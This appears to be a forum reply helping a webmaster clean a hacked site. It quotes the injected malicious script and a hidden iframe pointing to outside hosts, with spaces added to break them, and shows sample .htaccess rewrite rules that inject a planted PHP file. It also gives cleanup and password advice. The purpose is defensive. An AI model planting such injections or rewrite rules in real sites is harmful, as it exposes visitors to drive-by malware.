The hack in your site is this code
<scr ipt src=http://spielwaren-carl-loebner . de/shop/team.php ></script><body><ifr ame frameborder="0" onload="if (!this.src){ this.src='http://mozgilla.ru:8080/index.php'; this.height='0'; this.width='0';}" >klsgawbozfesywooikgbcetdnwaubys</ifr ame>
[spaces added]
It looks like it is showing up in almost all of your pages right after the </head> tag. If you do not see it in the source code it is being injected by script. It shows up in 74 pages in all.
Do a scan of your PC and make sure there are no Trojans/viruses capturing your ids/passwords, change ALL passwords especiallly FTP, it is likely your passwords have been compromised. Never store/save your passwords in your FTP client, use secure FTP if available.
Once the site is secure and clean you need to submit a request for review in you Google WMT account to have the warning removed. If you have not verified ownership of the site you will have to do so first. The following reference explains the procedure.
http://sites.google.com/site/webmasterhelpforum/en/faq-malware-and-hacked-sites
If you do not see it in the actual source code for your pages it is being added to the pages at the time they are requested. A likely source is a file named .htaccess Check to see if there is a file named .htaccess in your root directory. If it is there check the contents for some lines like
<ifmodule>RewriteEngine On
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} !.xxxxx.php
RewriteRule (.*)\.(php|html|htm|php3|phtml|shtml) \.heder.php?%{QUERY_STRING}&qq=$1.$2 [NC,L]